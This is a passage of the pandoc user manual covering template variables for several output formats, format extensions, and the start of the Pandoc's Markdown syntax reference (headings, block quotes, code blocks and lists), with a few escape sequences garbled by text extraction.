  \RedeclareSectionCommand[
    beforeskip=-10pt plus -2pt minus -1pt,
    afterskip=1sp plus -1sp minus 1sp,
    font=

ormalfont\itshape]{paragraph} \RedeclareSectionCommand[ beforeskip=-10pt plus -2pt minus -1pt, afterskip=1sp plus -1sp minus 1sp, font= ormalfont\scshape, indent=0pt]{subparagraph} …

classoption
option for document class, e.g. oneside; repeat for multiple options:

---
classoption:
- twocolumn
- landscape
...

documentclass
document class: usually one of the standard classes, article, book, and report; the KOMA-Script equivalents, scrartcl, scrbook, and scrreprt, which default to smaller margins; or memoir

geometry
option for geometry package, e.g. margin=1in; repeat for multiple options:

---
geometry:
- top=30mm
- left=20mm
- heightrounded
...

hyperrefoptions
option for hyperref package, e.g. linktoc=all; repeat for multiple options:

---
hyperrefoptions:
- linktoc=all
- pdfwindowui
- pdfpagemode=FullScreen
...

indent
if true, pandoc will use document class settings for indentation (the default LaTeX template otherwise removes indentation and adds space between paragraphs)

linestretch
adjusts line spacing using the setspace package, e.g. 1.25, 1.5

margin-left, margin-right, margin-top, margin-bottom
sets margins if geometry is not used (otherwise geometry overrides these)

pagestyle
control \pagestyle{}: the default article class supports plain (default), empty (no running heads or page numbers), and headings (section titles in running heads)

papersize
paper size, e.g. letter, a4

secnumdepth
numbering depth for sections (with --number-sections option or numbersections variable)

beamerarticle
produce an article from Beamer slides

handout
produce a handout version of Beamer slides (with overlays condensed into single slides)

Fonts

fontenc
allows font encoding to be specified through fontenc package (with pdflatex); default is T1 (see LaTeX font encodings guide)

fontfamily
font package for use with pdflatex: TeX Live includes many options, documented in the LaTeX Font Catalogue. The default is Latin Modern.

fontfamilyoptions
options for package used as fontfamily; repeat for multiple options. For example, to use the Libertine font with proportional lowercase (old-style) figures through the libertinus package:

---
fontfamily: libertinus
fontfamilyoptions:
- osf
- p
...

fontsize
font size for body text. The standard classes allow 10pt, 11pt, and 12pt. To use another size, set documentclass to one of the KOMA-Script classes, such as scrartcl or scrbook.

mainfont, sansfont, monofont, mathfont, CJKmainfont, CJKsansfont, CJKmonofont
font families for use with xelatex or lualatex: take the name of any system font, using the fontspec package. CJKmainfont uses the xecjk package.

mainfontoptions, sansfontoptions, monofontoptions, mathfontoptions, CJKoptions
options to use with mainfont, sansfont, monofont, mathfont, CJKmainfont in xelatex and lualatex. Allow for any choices available through fontspec; repeat for multiple options. For example, to use the TeX Gyre version of Palatino with lowercase figures:

---
mainfont: TeX Gyre Pagella
mainfontoptions:
- Numbers=Lowercase
- Numbers=Proportional
...

mainfontfallback, sansfontfallback, monofontfallback
fonts to try if a glyph isn’t found in mainfont, sansfont, or monofont respectively. These are lists. The font name must be followed by a colon and optionally a set of options, for example:

---
mainfontfallback:
  - "FreeSans:"
  - "NotoColorEmoji:mode=harf"
...

Font fallbacks currently only work with lualatex.

babelfonts
a map of Babel language names (e.g. chinese) to the font to be used with the language:

---
babelfonts:
  chinese-hant: "Noto Serif CJK TC"
  russian: "Noto Serif"
...

microtypeoptions
options to pass to the microtype package

colorlinks
add color to link text; automatically enabled if any of linkcolor, filecolor, citecolor, urlcolor, or toccolor are set

boxlinks
add visible box around links (has no effect if colorlinks is set)

linkcolor, filecolor, citecolor, urlcolor, toccolor
color for internal links, external links, citation links, linked URLs, and links in table of contents, respectively: uses options allowed by xcolor, including the dvipsnames, svgnames, and x11names lists

links-as-notes
causes links to be printed as footnotes

urlstyle
style for URLs (e.g., tt, rm, sf, and, the default, same)

Front matter

lof, lot
include list of figures, list of tables

thanks
contents of acknowledgments footnote after document title

toc
include table of contents (can also be set using --toc/--table-of-contents)

toc-depth
level of section to include in table of contents

BibLaTeX Bibliographies

These variables function when using BibLaTeX for citation rendering.

biblatexoptions
list of options for biblatex

biblio-style
bibliography style, when used with --natbib and --biblatex

biblio-title
bibliography title, when used with --natbib and --biblatex

bibliography
bibliography to use for resolving references

natbiboptions
list of options for natbib

Variables for ConTeXt

Pandoc uses these variables when creating a PDF with ConTeXt.

fontsize
font size for body text (e.g. 10pt, 12pt)

headertext, footertext
text to be placed in running header or footer (see ConTeXt Headers and Footers); repeat up to four times for different placement

indenting
controls indentation of paragraphs, e.g. yes,small,next (see ConTeXt Indentation); repeat for multiple options

interlinespace
adjusts line spacing, e.g. 4ex (using setupinterlinespace); repeat for multiple options

layout
options for page margins and text arrangement (see ConTeXt Layout); repeat for multiple options

linkcolor, contrastcolor
color for links outside and inside a page, e.g. red, blue (see ConTeXt Color)

linkstyle
typeface style for links, e.g. normal, bold, slanted, boldslanted, type, cap, small

lof, lot
include list of figures, list of tables

mainfont, sansfont, monofont, mathfont
font families: take the name of any system font (see ConTeXt Font Switching)

mainfontfallback, sansfontfallback, monofontfallback
list of fonts to try, in order, if a glyph is not found in the main font. Use \definefallbackfamily-compatible font name syntax. Emoji fonts are unsupported.

margin-left, margin-right, margin-top, margin-bottom
sets margins, if layout is not used (otherwise layout overrides these)

pagenumbering
page number style and location (using setuppagenumbering); repeat for multiple options

papersize
paper size, e.g. letter, A4, landscape (see ConTeXt Paper Setup); repeat for multiple options

pdfa
adds to the preamble the setup necessary to generate PDF/A of the type specified, e.g. 1a:2005, 2a. If no type is specified (i.e. the value is set to True, by e.g. --metadata=pdfa or pdfa: true in a YAML metadata block), 1b:2005 will be used as default, for reasons of backwards compatibility. Using --variable=pdfa without specified value is not supported. To successfully generate PDF/A the required ICC color profiles have to be available and the content and all included files (such as images) have to be standard-conforming. The ICC profiles and output intent may be specified using the variables pdfaiccprofile and pdfaintent. See also ConTeXt PDFA for more details.

pdfaiccprofile
when used in conjunction with pdfa, specifies the ICC profile to use in the PDF, e.g. default.cmyk. If left unspecified, sRGB.icc is used as default. May be repeated to include multiple profiles. Note that the profiles have to be available on the system. They can be obtained from ConTeXt ICC Profiles.

pdfaintent
when used in conjunction with pdfa, specifies the output intent for the colors, e.g. ISO coated v2 300\letterpercent\space (ECI) If left unspecified, sRGB IEC61966-2.1 is used as default.

toc
include table of contents (can also be set using --toc/--table-of-contents)

urlstyle
typeface style for links without link text, e.g. normal, bold, slanted, boldslanted, type, cap, small

whitespace
spacing between paragraphs, e.g. none, small (using setupwhitespace)

includesource
include all source documents as file attachments in the PDF file

Variables for wkhtmltopdf

Pandoc uses these variables when creating a PDF with wkhtmltopdf. The --css option also affects the output.

footer-html, header-html
add information to the header and footer

margin-left, margin-right, margin-top, margin-bottom
set the page margins

papersize
sets the PDF paper size

Variables for man pages

adjusting
adjusts text to left (l), right (r), center (c), or both (b) margins

footer
footer in man pages

header
header in man pages

section
section number in man pages

Variables for Texinfo

version
version of software (used in title and title page)

filename
name of info file to be generated (defaults to a name based on the texi filename)

Variables for Typst

margin
A dictionary with the fields defined in the Typst documentation: x, y, top, bottom, left, right.

papersize
Paper size: a4, us-letter, etc.

mainfont
Name of system font to use for the main font.

fontsize
Font size (e.g., 12pt).

section-numbering
Schema to use for numbering sections, e.g. 1.A.1.

columns
Number of columns for body text.

Variables for ms

fontfamily
A (Avant Garde), B (Bookman), C (Helvetica), HN (Helvetica Narrow), P (Palatino), or T (Times New Roman). This setting does not affect source code, which is always displayed using monospace Courier. These built-in fonts are limited in their coverage of characters. Additional fonts may be installed using the script install-font.sh provided by Peter Schaffter and documented in detail on his web site.

indent
paragraph indent (e.g. 2m)

lineheight
line height (e.g. 12p)

pointsize
point size (e.g. 10p)

Variables set automatically

Pandoc sets these variables automatically in response to options or document contents; users can also modify them. These vary depending on the output format, and include the following:

body
body of document

date-meta
the date variable converted to ISO 8601 YYYY-MM-DD, included in all HTML based formats (dzslides, epub, html, html4, html5, revealjs, s5, slideous, slidy). The recognized formats for date are: mm/dd/yyyy, mm/dd/yy, yyyy-mm-dd (ISO 8601), dd MM yyyy (e.g. either 02 Apr 2018 or 02 April 2018), MM dd, yyyy (e.g. Apr. 02, 2018 or April 02, 2018),yyyy[mm[dd]](e.g.20180402, 201804 or 2018).

header-includes
contents specified by -H/--include-in-header (may have multiple values)

include-before
contents specified by -B/--include-before-body (may have multiple values)

include-after
contents specified by -A/--include-after-body (may have multiple values)

meta-json
JSON representation of all of the document’s metadata. Field values are transformed to the selected output format.

numbersections
non-null value if -N/--number-sections was specified

sourcefile, outputfile
source and destination filenames, as given on the command line. sourcefile can also be a list if input comes from multiple files, or empty if input is from stdin. You can use the following snippet in your template to distinguish them:

$if(sourcefile)$
$for(sourcefile)$
$sourcefile$
$endfor$
$else$
(stdin)
$endif$

Similarly, outputfile can be - if output goes to the terminal.

If you need absolute paths, use e.g. $curdir$/$sourcefile$.

curdir
working directory from which pandoc is run.

pandoc-version
pandoc version.

toc
non-null value if --toc/--table-of-contents was specified

toc-title
title of table of contents (works only with EPUB, HTML, revealjs, opendocument, odt, docx, pptx, beamer, LaTeX). Note that in docx and pptx a custom toc-title will be picked up from metadata, but cannot be set as a variable.

EXTENSIONS

The behavior of some of the readers and writers can be adjusted by enabling or disabling various extensions.

An extension can be enabled by adding +EXTENSION to the format name and disabled by adding -EXTENSION. For example, --from markdown_strict+footnotes is strict Markdown with footnotes enabled, while --from markdown-footnotes-pipe_tables is pandoc’s Markdown without footnotes or pipe tables.

The Markdown reader and writer make by far the most use of extensions. Extensions only used by them are therefore covered in the section Pandoc’s Markdown below (see Markdown variants for commonmark and gfm). In the following, extensions that also work for other formats are covered.

Note that Markdown extensions added to the ipynb format affect Markdown cells in Jupyter notebooks (as do command-line options like --markdown-headings).

Typography

Extension: smart

Interpret straight quotes as curly quotes, --- as em-dashes, -- as en-dashes, and ... as ellipses. Nonbreaking spaces are inserted after certain abbreviations, such as “Mr.”

This extension can be enabled/disabled for the following formats:

input formats
markdown, commonmark, latex, mediawiki, org, rst, twiki, html

output formats
markdown, latex, context, rst

enabled by default in
markdown, latex, context (both input and output)

Note: If you are writing Markdown, then the smart extension has the reverse effect: what would have been curly quotes comes out straight.

In LaTeX, smart means to use the standard TeX ligatures for quotation marks (`` and '' for double quotes, ` and ' for single quotes) and dashes (-- for en-dash and --- for em-dash). If smart is disabled, then in reading LaTeX pandoc will parse these characters literally. In writing LaTeX, enabling smart tells pandoc to use the ligatures when possible; if smart is disabled pandoc will use unicode quotation mark and dash characters.

Headings and sections

Extension: auto_identifiers

A heading without an explicitly specified identifier will be automatically assigned a unique identifier based on the heading text.

This extension can be enabled/disabled for the following formats:

input formats
markdown, latex, rst, mediawiki, textile

output formats
markdown, muse

enabled by default in
markdown, muse

The default algorithm used to derive the identifier from the heading text is:

  • Remove all formatting, links, etc.

  • Remove all footnotes.

  • Remove all non-alphanumeric characters, except underscores, hyphens, and periods.

  • Replace all spaces and newlines with hyphens.

  • Convert all alphabetic characters to lowercase.

  • Remove everything up to the first letter (identifiers may not begin with a number or punctuation mark).

  • If nothing is left after this, use the identifier section.

Thus, for example,

Heading Identifier —————————– —————————– Heading identifiers in HTML heading-identifiers-in-html Maître d’hôtel maître-dhôtel Dogs?–in my house? dogs–in-my-house [HTML], [S5], or [RTF]? html-s5-or-rtf 3. Applications applications 33 section

These rules should, in most cases, allow one to determine the identifier from the heading text. The exception is when several headings have the same text; in this case, the first will get an identifier as described above; the second will get the same identifier with -1 appended; the third with -2; and so on.

(However, a different algorithm is used if gfm_auto_identifiers is enabled; see below.)

These identifiers are used to provide link targets in the table of contents generated by the --toc|--table-of-contents option. They also make it easy to provide links from one section of a document to another. A link to this section, for example, might look like this:

See the section on
[heading identifiers](#heading-identifiers-in-html-latex-and-context).

Note, however, that this method of providing links to sections works only in HTML, LaTeX, and ConTeXt formats.

If the --section-divs option is specified, then each section will be wrapped in a section (or a div, if html4 was specified), and the identifier will be attached to the enclosing <section> (or <div>) tag rather than the heading itself. This allows entire sections to be manipulated using JavaScript or treated differently in CSS.

Extension: ascii_identifiers

Causes the identifiers produced by auto_identifiers to be pure ASCII. Accents are stripped off of accented Latin letters, and non-Latin letters are omitted.

Extension: gfm_auto_identifiers

Changes the algorithm used by auto_identifiers to conform to GitHub’s method. Spaces are converted to dashes (-), uppercase characters to lowercase characters, and punctuation characters other than - and _ are removed. Emojis are replaced by their names.

Math Input

The extensions tex_math_dollars, tex_math_gfm, tex_math_single_backslash, and tex_math_double_backslash are described in the section about Pandoc’s Markdown.

However, they can also be used with HTML input. This is handy for reading web pages formatted using MathJax, for example.

Raw HTML/TeX

The following extensions are described in more detail in their respective sections of Pandoc’s Markdown:

  • raw_html allows HTML elements which are not representable in pandoc’s AST to be parsed as raw HTML. By default, this is disabled for HTML input.

  • raw_tex allows raw LaTeX, TeX, and ConTeXt to be included in a document. This extension can be enabled/disabled for the following formats (in addition to markdown):

    input formats
    latex, textile, html (environments, ef, and qref only), ipynb

    output formats
    textile, commonmark

    Note: as applied to ipynb, raw_html and raw_tex affect not only raw TeX in Markdown cells, but data with mime type text/html in output cells. Since the ipynb reader attempts to preserve the richest possible outputs when several options are given, you will get best results if you disable raw_html and raw_tex when converting to formats like docx which don’t allow raw html or tex.

  • native_divs causes HTML div elements to be parsed as native pandoc Div blocks. If you want them to be parsed as raw HTML, use -f html-native_divs+raw_html.

  • native_spans causes HTML span elements to be parsed as native pandoc Span inlines. If you want them to be parsed as raw HTML, use -f html-native_spans+raw_html. If you want to drop all divs and spans when converting HTML to Markdown, you can use pandoc -f html-native_divs-native_spans -t markdown.

Literate Haskell support

Extension: literate_haskell

Treat the document as literate Haskell source.

This extension can be enabled/disabled for the following formats:

input formats
markdown, rst, latex

output formats
markdown, rst, latex, html

If you append +lhs (or +literate_haskell) to one of the formats above, pandoc will treat the document as literate Haskell source. This means that

  • In Markdown input, “bird track” sections will be parsed as Haskell code rather than block quotations. Text between egin{code} and nd{code} will also be treated as Haskell code. For ATX-style headings the character `=’ will be used instead of `#'.

  • In Markdown output, code blocks with classes haskell and literate will be rendered using bird tracks, and block quotations will be indented one space, so they will not be treated as Haskell code. In addition, headings will be rendered setext-style (with underlines) rather than ATX-style (with `#’ characters). (This is because ghc treats `#’ characters in column 1 as introducing line numbers.)

  • In restructured text input, “bird track” sections will be parsed as Haskell code.

  • In restructured text output, code blocks with class haskell will be rendered using bird tracks.

  • In LaTeX input, text in code environments will be parsed as Haskell code.

  • In LaTeX output, code blocks with class haskell will be rendered inside code environments.

  • In HTML output, code blocks with class haskell will be rendered with class literatehaskell and bird tracks.

Examples:

pandoc -f markdown+lhs -t html

reads literate Haskell source formatted with Markdown conventions and writes ordinary HTML (without bird tracks).

pandoc -f markdown+lhs -t html+lhs

writes HTML with the Haskell code in bird tracks, so it can be copied and pasted as literate Haskell source.

Note that GHC expects the bird tracks in the first column, so indented literate code blocks (e.g. inside an itemized environment) will not be picked up by the Haskell compiler.

Other extensions

Extension: empty_paragraphs

Allows empty paragraphs. By default empty paragraphs are omitted.

This extension can be enabled/disabled for the following formats:

input formats
docx, html

output formats
docx, odt, opendocument, html, latex

Extension: native_numbering

Enables native numbering of figures and tables. Enumeration starts at 1.

This extension can be enabled/disabled for the following formats:

output formats
odt, opendocument, docx

Extension: xrefs_name

Links to headings, figures and tables inside the document are substituted with cross-references that will use the name or caption of the referenced item. The original link text is replaced once the generated document is refreshed. This extension can be combined with xrefs_number in which case numbers will appear before the name.

Text in cross-references is only made consistent with the referenced item once the document has been refreshed.

This extension can be enabled/disabled for the following formats:

output formats
odt, opendocument

Extension: xrefs_number

Links to headings, figures and tables inside the document are substituted with cross-references that will use the number of the referenced item. The original link text is discarded. This extension can be combined with xrefs_name in which case the name or caption numbers will appear after the number.

For the xrefs_number to be useful heading numbers must be enabled in the generated document, also table and figure captions must be enabled using for example the native_numbering extension.

Numbers in cross-references are only visible in the final document once it has been refreshed.

This extension can be enabled/disabled for the following formats:

output formats
odt, opendocument

Extension: styles

When converting from docx, read all docx styles as divs (for paragraph styles) and spans (for character styles) regardless of whether pandoc understands the meaning of these styles. This can be used with docx custom styles. Disabled by default.

input formats
docx

Extension: amuse

In the muse input format, this enables Text::Amuse extensions to Emacs Muse markup.

Extension: raw_markdown

In the ipynb input format, this causes Markdown cells to be included as raw Markdown blocks (allowing lossless round-tripping) rather than being parsed. Use this only when you are targeting ipynb or a Markdown-based output format.

Extension: citations (org)

When the citations extension is enabled in org, org-cite and org-ref style citations will be parsed as native pandoc citations.

Extension: citations (docx)

When citations is enabled in docx, citations inserted by Zotero or Mendeley or EndNote plugins will be parsed as native pandoc citations. (Otherwise, the formatted citations generated by the bibliographic software will be parsed as regular text.)

Extension: fancy_lists (org)

Some aspects of Pandoc’s Markdown fancy lists are also accepted in org input, mimicking the option org-list-allow-alphabetical in Emacs. As in Org Mode, enabling this extension allows lowercase and uppercase alphabetical markers for ordered lists to be parsed in addition to arabic ones. Note that for Org, this does not include roman numerals or the # placeholder that are enabled by the extension in Pandoc’s Markdown.

Extension: element_citations

In the jats output formats, this causes reference items to be replaced with <element-citation> elements. These elements are not influenced by CSL styles, but all information on the item is included in tags.

Extension: ntb

In the context output format this enables the use of Natural Tables (TABLE) instead of the default Extreme Tables (xtables). Natural tables allow more fine-grained global customization but come at a performance penalty compared to extreme tables.

Extension: tagging

Enabling this extension with context output will produce markup suitable for the production of tagged PDFs. This includes additional markers for paragraphs and alternative markup for emphasized text. The emphasis-command template variable is set if the extension is enabled.

PANDOC’S MARKDOWN

Pandoc understands an extended and slightly revised version of John Gruber’s Markdown syntax. This document explains the syntax, noting differences from original Markdown. Except where noted, these differences can be suppressed by using the markdown_strict format instead of markdown. Extensions can be enabled or disabled to specify the behavior more granularly. They are described in the following. See also Extensions above, for extensions that work also on other formats.

Philosophy

Markdown is designed to be easy to write, and, even more importantly, easy to read:

A Markdown-formatted document should be publishable as-is, as plain text, without looking like it’s been marked up with tags or formatting instructions.

– John Gruber

This principle has guided pandoc’s decisions in finding syntax for tables, footnotes, and other extensions.

There is, however, one respect in which pandoc’s aims are different from the original aims of Markdown. Whereas Markdown was originally designed with HTML generation in mind, pandoc is designed for multiple output formats. Thus, while pandoc allows the embedding of raw HTML, it discourages it, and provides other, non-HTMLish ways of representing important document elements like definition lists, tables, mathematics, and footnotes.

Paragraphs

A paragraph is one or more lines of text followed by one or more blank lines. Newlines are treated as spaces, so you can reflow your paragraphs as you like. If you need a hard line break, put two or more spaces at the end of a line.

Extension: escaped_line_breaks

A backslash followed by a newline is also a hard line break. Note: in multiline and grid table cells, this is the only way to create a hard line break, since trailing spaces in the cells are ignored.

Headings

There are two kinds of headings: Setext and ATX.

Setext-style headings

A setext-style heading is a line of text “underlined” with a row of = signs (for a level-one heading) or - signs (for a level-two heading):

A level-one heading
===================

A level-two heading
-------------------

The heading text can contain inline formatting, such as emphasis (see Inline formatting, below).

ATX-style headings

An ATX-style heading consists of one to six # signs and a line of text, optionally followed by any number of # signs. The number of # signs at the beginning of the line is the heading level:

## A level-two heading

### A level-three heading ###

As with setext-style headings, the heading text can contain formatting:

# A level-one heading with a [link](/url) and *emphasis*

Extension: blank_before_header

Original Markdown syntax does not require a blank line before a heading. Pandoc does require this (except, of course, at the beginning of the document). The reason for the requirement is that it is all too easy for a # to end up at the beginning of a line by accident (perhaps through line wrapping). Consider, for example:

I like several of their flavors of ice cream:
#22, for example, and #5.

Extension: space_in_atx_header

Many Markdown implementations do not require a space between the opening #s of an ATX heading and the heading text, so that #5 bolt and #hashtag count as headings. With this extension, pandoc does require the space.

Heading identifiers

See also the auto_identifiers extension above.

Extension: header_attributes

Headings can be assigned attributes using this syntax at the end of the line containing the heading text:

{#identifier .class .class key=value key=value}

Thus, for example, the following headings will all be assigned the identifier foo:

# My heading {#foo}

## My heading ##    {#foo}

My other heading   {#foo}
---------------

(This syntax is compatible with PHP Markdown Extra.)

Note that although this syntax allows assignment of classes and key/value attributes, writers generally don’t use all of this information. Identifiers, classes, and key/value attributes are used in HTML and HTML-based formats such as EPUB and slidy. Identifiers are used for labels and link anchors in the LaTeX, ConTeXt, Textile, Jira markup, and AsciiDoc writers.

Headings with the class unnumbered will not be numbered, even if --number-sections is specified. A single hyphen (-) in an attribute context is equivalent to .unnumbered, and preferable in non-English documents. So,

# My heading {-}

is just the same as

# My heading {.unnumbered}

If the unlisted class is present in addition to unnumbered, the heading will not be included in a table of contents. (Currently this feature is only implemented for certain formats: those based on LaTeX and HTML, PowerPoint, and RTF.)

Extension: implicit_header_references

Pandoc behaves as if reference links have been defined for each heading. So, to link to a heading

# Heading identifiers in HTML

you can simply write

[Heading identifiers in HTML]

or

[Heading identifiers in HTML][]

or

[the section on heading identifiers][heading identifiers in
HTML]

instead of giving the identifier explicitly:

[Heading identifiers in HTML](#heading-identifiers-in-html)

If there are multiple headings with identical text, the corresponding reference will link to the first one only, and you will need to use explicit links to link to the others, as described above.

Like regular reference links, these references are case-insensitive.

Explicit link reference definitions always take priority over implicit heading references. So, in the following example, the link will point to bar, not to #foo:

# Foo

[foo]: bar

See [foo]

Block quotations

Markdown uses email conventions for quoting blocks of text. A block quotation is one or more paragraphs or other block elements (such as lists or headings), with each line preceded by a > character and an optional space. (The > need not start at the left margin, but it should not be indented more than three spaces.)

> This is a block quote. This
> paragraph has two lines.
>
> 1. This is a list inside a block quote.
> 2. Second item.

A “lazy” form, which requires the > character only on the first line of each block, is also allowed:

> This is a block quote. This
paragraph has two lines.

> 1. This is a list inside a block quote.
2. Second item.

Among the block elements that can be contained in a block quote are other block quotes. That is, block quotes can be nested:

> This is a block quote.
>
> > A block quote within a block quote.

If the > character is followed by an optional space, that space will be considered part of the block quote marker and not part of the indentation of the contents. Thus, to put an indented code block in a block quote, you need five spaces after the >:

>     code

Extension: blank_before_blockquote

Original Markdown syntax does not require a blank line before a block quote. Pandoc does require this (except, of course, at the beginning of the document). The reason for the requirement is that it is all too easy for a > to end up at the beginning of a line by accident (perhaps through line wrapping). So, unless the markdown_strict format is used, the following does not produce a nested block quote in pandoc:

> This is a block quote.
>> Not nested, since `blank_before_blockquote` is enabled by default

Verbatim (code) blocks

Indented code blocks

A block of text indented four spaces (or one tab) is treated as verbatim text: that is, special characters do not trigger special formatting, and all spaces and line breaks are preserved. For example,

    if (a > 3) {
      moveShip(5 * gravity, DOWN);
    }

The initial (four space or one tab) indentation is not considered part of the verbatim text, and is removed in the output.

Note: blank lines in the verbatim text need not begin with four spaces.

Fenced code blocks

Extension: fenced_code_blocks

In addition to standard indented code blocks, pandoc supports fenced code blocks. These begin with a row of three or more tildes (~) and end with a row of tildes that must be at least as long as the starting row. Everything between these lines is treated as code. No indentation is necessary:

~~~~~~~
if (a > 3) {
  moveShip(5 * gravity, DOWN);
}
~~~~~~~

Like regular code blocks, fenced code blocks must be separated from surrounding text by blank lines.

If the code itself contains a row of tildes or backticks, just use a longer row of tildes or backticks at the start and end:

~~~~~~~~~~~~~~~~
~~~~~~~~~~
code including tildes
~~~~~~~~~~
~~~~~~~~~~~~~~~~

Extension: backtick_code_blocks

Same as fenced_code_blocks, but uses backticks (`) instead of tildes (~).

Extension: fenced_code_attributes

Optionally, you may attach attributes to fenced or backtick code block using this syntax:

~~~~ {#mycode .haskell .numberLines startFrom="100"}
qsort []     = []
qsort (x:xs) = qsort (filter (< x) xs) ++ [x] ++
               qsort (filter (>= x) xs)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Here mycode is an identifier, haskell and numberLines are classes, and startFrom is an attribute with value 100. Some output formats can use this information to do syntax highlighting. Currently, the only output formats that use this information are HTML, LaTeX, Docx, Ms, and PowerPoint. If highlighting is supported for your output format and language, then the code block above will appear highlighted, with numbered lines. (To see which languages are supported, type pandoc --list-highlight-languages.) Otherwise, the code block above will appear as follows:

<pre id="mycode" class="haskell numberLines" startFrom="100">
  <code>
  ...
  </code>
</pre>

The numberLines (or number-lines) class will cause the lines of the code block to be numbered, starting with 1 or the value of the startFrom attribute. The lineAnchors (or line-anchors) class will cause the lines to be clickable anchors in HTML output.

A shortcut form can also be used for specifying the language of the code block:

```haskell
qsort [] = []
```

This is equivalent to:

``` {.haskell}
qsort [] = []
```

This shortcut form may be combined with attributes:

```haskell {.numberLines}
qsort [] = []
```

Which is equivalent to:

``` {.haskell .numberLines}
qsort [] = []
```

If the fenced_code_attributes extension is disabled, but input contains class attribute(s) for the code block, the first class attribute will be printed after the opening fence as a bare word.

To prevent all highlighting, use the --no-highlight flag. To set the highlighting style, use --highlight-style. For more information on highlighting, see Syntax highlighting, below.

Line blocks

Extension: line_blocks

A line block is a sequence of lines beginning with a vertical bar (|) followed by a space. The division into lines will be preserved in the output, as will any leading spaces; otherwise, the lines will be formatted as Markdown. This is useful for verse and addresses:

| The limerick packs laughs anatomical
| In space that is quite economical.
|    But the good ones I've seen
|    So seldom are clean
| And the clean ones so seldom are comical

| 200 Main St.
| Berkeley, CA 94718

The lines can be hard-wrapped if needed, but the continuation line must begin with a space.

| The Right Honorable Most Venerable and Righteous Samuel L.
  Constable, Jr.
| 200 Main St.
| Berkeley, CA 94718

Inline formatting (such as emphasis) is allowed in the content (though it can’t cross line boundaries). Block-level formatting (such as block quotes or lists) is not recognized.

This syntax is borrowed from reStructuredText.

Lists

Bullet lists

A bullet list is a list of bulleted list items. A bulleted list item begins with a bullet (*, +, or -). Here is a simple example:

* one
* two
* three

This will produce a “compact” list. If you want a “loose” list, in which each item is formatted as a paragraph, put spaces between the items:

* one

* two

* three

The bullets need not be flush with the left margin; they may be indented one, two, or three spaces. The bullet must be followed by whitespace.

List items look best if subsequent lines are flush with the first line (after the bullet):

* here is my first
  list item.
* and my second.

But Markdown also allows a “lazy” format:

* here is my first
list item.
* and my second.

Block content in list items

A list item may contain multiple paragraphs and other block-level content. However, subsequent paragraphs must be preceded by a blank line and indented to line up with the first non-space content after the list marker.

  * First paragraph.

    Continued.

  * Second paragraph. With a code block, which must be indented
    eight spaces:

        { code }

Exception: if the list marker is followed by an indented code block, which must begin 5 spaces after the list marker, then subsequent paragraphs must begin two columns after the last character of the list marker:

*     code

  continuation paragraph

List items may include other lists. In this case the preceding blank line is optional. The nested list must be indented to line up with the first non-space character after the list marker of the containing list item.

* fruits
  + apples
    - macintosh
    - red delicious
  + pears
  + peaches
* vegetables
  + broccoli
  + chard

As noted above, Markdown allows you to write list items “lazily,” instead of indenting continuation lines. However, if there are multiple paragraphs or other blocks in a list item, the first line of each must be indented.

+ A lazy, lazy, list
item.

+ Another one; this looks
bad but is legal.

    Second paragraph of second
list item.

Ordered lists

Ordered lists work just like bulleted lists, except that the items begin with enumerators rather than bullets.

In original Markdown, enumerators are decimal numbers followed by a period and a space. The numbers themselves are ignored, so there is no difference between this list:

1.  one
2.  two
3.  three

and this one:

5.  one
7.  two
1.  three

Extension: fancy_lists

Unlike original Markdown, pandoc allows ordered list items to be marked with uppercase and lowercase letters and roman numerals, in addition to Arabic numerals. List markers may be enclosed in parentheses or followed by a single right-parenthesis or period. They must be separated from the text that follows by at least one space, and, if the list marker is a capital letter with a period, by at least two spaces.

The fancy_lists extension also allows `#’ to be used as an ordered list marker in place of a numeral:

#. one
#. two

Note: the `#’ ordered list marker doesn’t work with commonmark.

Extension: startnum

Pandoc also pays attention to the type of list marker used, and to the starting number, and both of these are preserved where possible in the output format. Thus, the following yields a list with numbers followed by a single parenthesis, starting with 9, and a sublist with lowercase roman numerals:

 9)  Ninth
10)  Tenth
11)  Eleventh
       i. subone
      ii. subtwo
     iii. subthree

Pandoc will start a new list each time a different type of list marker is used. So, the following will create three lists:

(2) Two
(5) Three
1.  Four
*   Five

If default list markers are desired, use #.:

#.  one
#.  two
#.  three

Extension: task_lists

Pandoc supports task lists, using the syntax of GitHub-Flavored Markdown.

- [ ] an unchecked task list item
- [x] checked item

Definition lists

Extension: definition_lists

Pandoc supports definition lists, using the syntax of PHP Markdown Extra with some extensions.

Term 1

:   Definition 1

Term 2 with *inline markup*

:   Definition 2

        { some code, part of Definition 2 }

    Third paragraph of definition 2.

Each term must fit on one line, which may optionally be followed by a blank line, and must be followed by one or more definitions. A definition begins with a colon or tilde, which may be indented one or two spaces.

A term may have multiple definitions, and each definition may consist of one or more block elements (paragraph, code block, list, etc.), each indented four spaces or one tab stop. The body of the definition (not including the first line) should be indented four spaces. However, as with other Markdown lists, you can “lazily” omit indentation except at the beginning of a paragraph or other block element:

Term 1

:   Definition
with lazy continuation.

    Second paragraph of the definition.

If you leave space before the definition (as in the example above), the text of the definition will be treated as a paragraph. In some output formats, this will mean greater spacing between term/definition pairs. For a more compact definition list, omit the space before the definition:

Term 1
  ~ Definition 1

Term 2
  ~ Definition 2a
  ~ Definition 2b

Note that space between items in a definition list is required. (A variant that loosens this requirement, but disallows “lazy” hard wrapping, can be activated with the compact_definition_lists extension.)

Numbered example lists

Extension: example_lists

The special list marker @ can be used for sequentially numbered examples. The first list item with a @ marker will be numbered `1’, the next `2’, and so on, throughout the document. The numbered examples need not occur in a single list; each new list using @ will take up where the last stopped. So, for example:

(@)  My first example will be numbered (1).
(@)  My second example will be numbered (2).

Explanation of examples.

(@)  My third example will be numbered (3).

Numbered examples can be labeled and referred to elsewhere in the document:

(@good)  This is a good example.

As (@good) illustrates, ...

The label can be any string of alphanumeric characters, underscores, or hyphens.

Continuation paragraphs in example lists must always be indented four spaces, regardless of the length of the list marker. That is, example lists always behave as if the four_space_rule extension is set. This is because example labels tend to be long, and indenting content to the first non-space character after the label would be awkward.

You can repeat an earlier numbered example by re-using its label:

(@foo) Sample sentence.

Intervening text...

This theory can explain the case we saw earlier (repeated):

(@foo) Sample sentence.

This only works reliably, though, if the repeated item is in a list by itself, because each numbered example list will be numbered continuously from its starting number.

Ending a list

What if you want to put an indented code block after a list?

-   item one
-   item two

    { my code block }

Trouble! Here pandoc (like other Markdown implementations) will treat { my code block } as the second paragraph of item two, and not as a code block.

To “cut off” the list after item two, you can insert some non-indented content, like an HTML comment, which won’t produce visible output in any format:

-   item one
-   item two

<!-- end of list -->

    { my code block }

